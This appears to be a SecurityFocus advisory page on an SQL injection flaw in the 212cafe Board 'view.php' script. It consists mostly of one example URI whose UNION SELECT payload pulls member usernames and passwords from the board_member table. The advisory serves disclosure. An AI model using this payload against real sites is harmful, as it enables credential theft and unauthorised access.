Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

212cafe Board 'view.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/[212cafeboard]/view.php?qID=-9999')/**/UNION/**/SELECT/**/1,concat(mUser,0x3a3a,mPasswd),3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/board_member/**/WHERE/**/(mID='1







 

Privacy Statement
Copyright 2009, SecurityFocus